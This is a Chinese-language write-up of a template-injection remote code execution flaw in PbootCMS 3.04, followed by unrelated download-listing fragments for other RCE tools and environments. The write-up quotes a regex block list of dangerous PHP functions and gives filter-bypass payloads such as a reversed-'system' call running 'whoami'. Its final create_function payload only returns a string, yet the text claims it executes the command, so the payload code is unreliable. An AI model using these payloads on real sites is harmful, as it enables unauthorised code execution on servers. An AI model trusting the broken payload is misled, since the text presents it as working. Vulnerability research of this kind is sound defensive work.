### PbootCms-3.04前台RCE挖掘过程详解 #### 背景介绍 PbootCms是一款开源的内容管理系统(CMS),用于构建网站和管理内容。在其3.04版本中发现了一个远程代码执行(Remote Code Execution, RCE)的安全漏洞。此漏洞允许攻击者在未授权的情况下向系统注入并执行任意PHP代码。本文档基于一篇详细介绍了该漏洞挖掘过程的文章进行总结,并深入分析其技术细节。 #### 漏洞挖掘思路 在开始审计PbootCms之前,作者参考了两篇相关文章来梳理思路: 1. 第一篇文章描述了当后台配置值设置为`if`标签时,访问前台模板会解析该标签并执行其中的代码。 2. 第二篇文章提供了更广泛和灵活的方法,包括了利用前台实现RCE的技术路线。这部分对后续挖掘过程产生了重要启发。 #### 关键技术点解析 **代码分析** 挖掘过程中重点关注的是解析`if`标签的代码块。作者分析了与之相关的三个正则表达式规则: 1. `/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/`: 此规则用于匹配包含在`{pboot:if}`和`{/pboot:if}`之间的内容,其中`if`条件语句中的参数不能包含`$`符号。 2. `/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i`: 正则用于匹配函数调用,但这里并未做过多限制。 3. `/(\([\w\s\.]+\))|(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/i`: 正则用于检测潜在的危险函数调用,例如`system`、`eval`等。 **第三条正则表达式的改动** 与之前的版本相比,第三条正则表达式新增了`(\([\w\s\.]+\))`这一部分,意在禁止`if`标签中条件代码段内出现小括号内的内容。然而,经测试,如`xxx("xxx")`这样的形式可以绕过该限制,这意味着仍有可能通过这种方式执行代码。 **绕过技术** 为了绕过`system`函数的正则校验,可以采用如下方式: ```php strrev('metsys')('whoami'); ``` 即反转`system`字符串并调用该函数。但由于无法绕过第二条正则,直接使用上述payload会导致失败。解决方法是在`strrev`前面添加额外字符来尝试绕过,如: ```php {pboot:if(1) xxx strrev('metsys')('whoami');} ``` 这样做触发了`eval`错误,表明已成功绕过了正则校验。下一步的目标是找到一个合适的替代`xxx`的内容,使得`eval`执行时不报错。 **解决策略** 通过实验发现,可以在`strrev`前加上特殊字符或构造特定语句来规避校验。例如,可以利用`create_function`创建匿名函数的方式,来达到执行任意代码的目的。具体而言,可以构造如下payload: ```php {pboot:if(1) create_function('', 'return strrev("metsys");')(); } ``` 这样构造的payload能够绕过系统的安全检查,并执行预期的命令。 #### 结论 通过对PbootCms-3.04版本中RCE漏洞的挖掘过程进行详细分析,可以看出开发者在设计模板引擎时对安全性的考虑不足,导致了远程代码执行漏洞的存在。攻击者可通过构造特定的payload绕过正则表达式的限制,最终实现任意代码执行。此案例提醒我们在开发类似系统时,需更加谨慎地处理用户输入数据,避免类似安全漏洞的发生。
2025-09-28 23:17:45 4.8MB
1
h264_dvr_rce 博客文章-http:
2023-04-17 13:07:58 2KB Python
1
零起飞CRM管理系统(07FLY-CRM)-代码审计(任意件删除+RCE+任意件上传+SQL注)这选择从数据库名称 $dbname 下, 服务器连接地址, 数据
2023-03-30 16:46:10 2.08MB mr c# 软件/插件 sql
1
一、漏洞简介 二、漏洞影响 三、复现过程
2022-07-25 17:01:07 8KB gateway php macos 软件/插件
1
命令执行攻击流量情况数据包
2022-07-18 21:00:08 36KB rce流量
1
[零基础学IoT Pwn] 复现Netgear WNAP320 RCE.doc
2022-07-12 09:07:33 649KB 技术资料
iis6.0远程代码执行漏洞复现,利用RCE 拿系统权限
2022-06-12 18:00:09 107KB RCE
具有IIOP的CVE-2020-2551 Weblogic RCE 0x01默认启用IIOP 0x02 Poc演示
2022-06-09 02:19:37 1.19MB
1
本附件是对CVE-2019-0232 Tomcat RCE 远程命令执行漏洞 的复现环境。 将文件下载到本地,直接运行tomcat 启动服务器,地址栏输入 http://localhost:8080/cgi-bin/hello.bat?c:/windows/system32/net user 即可看到漏洞效果,请勿非法使用,仅供学习研究
2022-05-10 11:27:22 10.68MB evc 漏洞 环境
1